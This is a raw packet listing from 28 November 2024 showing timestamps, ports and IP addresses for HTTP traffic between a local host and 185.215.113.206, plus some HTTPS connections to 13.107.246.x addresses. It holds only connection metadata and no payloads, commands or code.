Nov 28, 2024 06:48:34.480772972 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.480789900 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.480946064 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.481496096 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.481556892 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.481601000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.481648922 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.482481956 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.482496023 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.482531071 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.482557058 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.483071089 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.483268976 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.536799908 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.536873102 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.536936998 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.536989927 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.537130117 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.537180901 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.537185907 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.537358046 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.537944078 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.537990093 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.538033009 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.538086891 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.538732052 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.538794994 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.538839102 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.538892984 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.539566994 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.539621115 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.539803028 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.539849043 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.540375948 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.540501118 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.540518999 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.540625095 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.541193008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.541256905 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.541296005 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.541337967 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.542022943 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.542092085 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.542099953 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.542331934 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.542804003 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.542891979 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.542931080 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.542989016 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.543667078 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.543716908 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.543762922 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.543818951 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.544430971 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.544481993 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.544538975 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.544595003 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.545250893 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.545300961 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.545358896 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.545413017 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.546051979 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.546149015 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.546176910 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.546324015 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.546906948 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.546952963 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.546962023 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.547012091 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.547717094 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.547816992 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.547820091 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.547913074 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.548501968 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.548579931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.548609018 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.548703909 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.549330950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.549401999 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.549434900 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.549525976 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.550160885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.550223112 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.550276041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.550317049 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.550949097 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.551136971 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.551173925 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.551266909 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.551743984 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.551804066 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.561053991 CET	443	49811	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:34.561077118 CET	443	49811	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:34.561161995 CET	49811	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:34.561192036 CET	443	49811	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:34.561268091 CET	49811	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:34.570331097 CET	443	49811	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:34.570391893 CET	49811	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:34.570400953 CET	443	49811	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:34.570415020 CET	443	49811	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:34.570476055 CET	49811	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:34.570669889 CET	49811	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:34.570683002 CET	443	49811	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:34.571185112 CET	49824	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:34.571218967 CET	443	49824	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:34.571398020 CET	49824	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:34.571958065 CET	49824	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:34.571970940 CET	443	49824	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:34.584849119 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.584919930 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.584922075 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.585048914 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.585133076 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.585182905 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.585267067 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.585308075 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.585975885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.586035967 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.586081982 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.586131096 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.586770058 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.586836100 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.586900949 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.586944103 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.587578058 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.587698936 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.587713957 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.587934017 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.588387966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.588515997 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.588515997 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.589219093 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.589276075 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.589299917 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.589359999 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.638171911 CET	443	49815	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.638279915 CET	443	49815	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.638331890 CET	49815	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.638540030 CET	49815	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.638557911 CET	443	49815	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.638720989 CET	49815	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.638726950 CET	443	49815	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.641738892 CET	49825	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.641752958 CET	443	49825	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.641999960 CET	49825	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.642226934 CET	49825	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.642237902 CET	443	49825	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.661196947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.661216021 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.661313057 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.661441088 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.661484003 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.661662102 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.661706924 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.662225008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.662301064 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.662405014 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.662857056 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.662915945 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.662971020 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.663017035 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.663655043 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.663702965 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.663774967 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.663825989 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.664468050 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.664582968 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.664639950 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.665302038 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.665368080 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.665416956 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.665453911 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.666095972 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.666147947 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.666194916 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.666241884 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.666243076 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.666930914 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.667053938 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.667114019 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.667721987 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.667830944 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.667887926 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.668541908 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.668602943 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.668668032 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.668715000 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.669357061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.669420958 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.669464111 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.669512987 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.670162916 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.670227051 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.670268059 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.670356035 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.671015024 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.671086073 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.671103001 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.671148062 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.671591997 CET	443	49814	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.671654940 CET	443	49814	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.671787024 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.671895981 CET	49814	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.671895981 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.671905041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.672127962 CET	49814	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.672139883 CET	443	49814	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.672152996 CET	49814	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.672152996 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.672158957 CET	443	49814	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.672605038 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.672730923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.672786951 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.673433065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.673487902 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.673531055 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.673578978 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.674233913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.674293995 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.674339056 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.674547911 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.675039053 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.675091982 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.675148964 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.675230026 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.675869942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.675920963 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.675940037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.675997972 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.676688910 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.676737070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.676753044 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.676790953 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.677512884 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.677587032 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.677618027 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.677633047 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.678294897 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.678432941 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.678653955 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.678888083 CET	49826	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.678906918 CET	443	49826	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.679066896 CET	49826	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.679126024 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.679172039 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.679219961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.679265976 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.679828882 CET	49826	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.679840088 CET	443	49826	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.679915905 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.679966927 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.680104971 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.680763960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.680819988 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.680829048 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.680917025 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.681557894 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.681613922 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.681667089 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.681706905 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.682368040 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.682451010 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.682476997 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.682516098 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.683187962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.683237076 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.683284998 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.683331013 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.684015989 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.684170008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.684221983 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.684809923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.684931040 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.705188036 CET	443	49818	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:34.705506086 CET	49818	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:34.705523014 CET	443	49818	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:34.705862999 CET	443	49818	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:34.708151102 CET	49818	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:34.708209991 CET	443	49818	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:34.708565950 CET	49818	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:34.708760023 CET	443	49813	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.708822966 CET	443	49813	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.708991051 CET	49813	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.709250927 CET	49813	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.709264994 CET	443	49813	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.709276915 CET	49813	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.709283113 CET	443	49813	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.712133884 CET	49827	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.712145090 CET	443	49827	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.712336063 CET	49827	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.712733984 CET	49827	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:34.712744951 CET	443	49827	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:34.737835884 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.737950087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.738255024 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.738322020 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.738434076 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.739085913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.739130974 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.739191055 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.739375114 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.739888906 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.740005016 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.740047932 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.740705013 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.740812063 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.740854025 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.741514921 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.741635084 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.741688013 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.742307901 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.742427111 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.742475033 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.743146896 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.743237972 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.743284941 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.743966103 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.744076014 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.744776964 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.744824886 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.744877100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.745585918 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.745666981 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.745693922 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.746380091 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.746433973 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.746484041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.747222900 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.747275114 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.747284889 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.747323036 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.748018026 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.748145103 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.748842001 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.748893023 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.748989105 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.749659061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.749711990 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:34.749763966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:34.750471115 CET	80	49750	185.215.113.206	192.168.2.5
